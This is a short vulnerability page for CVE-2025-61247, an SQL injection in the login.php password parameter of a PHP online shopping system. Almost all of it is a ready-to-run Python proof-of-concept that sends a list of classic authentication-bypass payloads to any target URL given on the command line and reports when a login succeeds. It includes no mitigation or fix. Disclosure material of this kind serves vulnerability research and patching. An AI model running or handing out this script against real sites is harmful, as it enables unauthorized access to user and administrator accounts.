CVE-2025-61247: indieka900在线购物系统login.php密码参数SQL注入漏洞

import requests import sys # CVE-2025-61247 SQL Injection PoC # Target: indieka900 online-shopping-system-php 1.0 # Vulnerability: SQL Injection in login.php password parameter def exploit_sqli(target_url, payload): """ Exploit SQL Injection vulnerability in login.php """ login_url = f"{target_url}/login.php" # Malicious payload for SQL injection data = { 'email': '[email protected]', # Target email 'password': payload # SQL injection payload } try: response = requests.post(login_url, data=data, timeout=10) return response except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None def bypass_auth(target_url): """ Bypass authentication using SQL injection """ # Common bypass payloads payloads = [ "' OR '1'='1", "' OR '1'='1' --", "' OR '1'='1' #", "admin' OR '1'='1", "' OR 1=1 --", "' OR 'a'='a" ] print(f"[*] Target: {target_url}") print(f"[*] Starting authentication bypass attack...") for payload in payloads: print(f"[*] Testing payload: {payload}") response = exploit_sqli(target_url, payload) if response and ('dashboard' in response.text.lower() or 'welcome' in response.text.lower()): print(f"[+] Success! Authentication bypassed with payload: {payload}") return True print("[-] All payloads failed") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-61247.py <target_url>") print("Example: python cve-2025-61247.py http://target.com/online-shopping-system") sys.exit(1) target = sys.argv[1].rstrip('/') bypass_auth(target)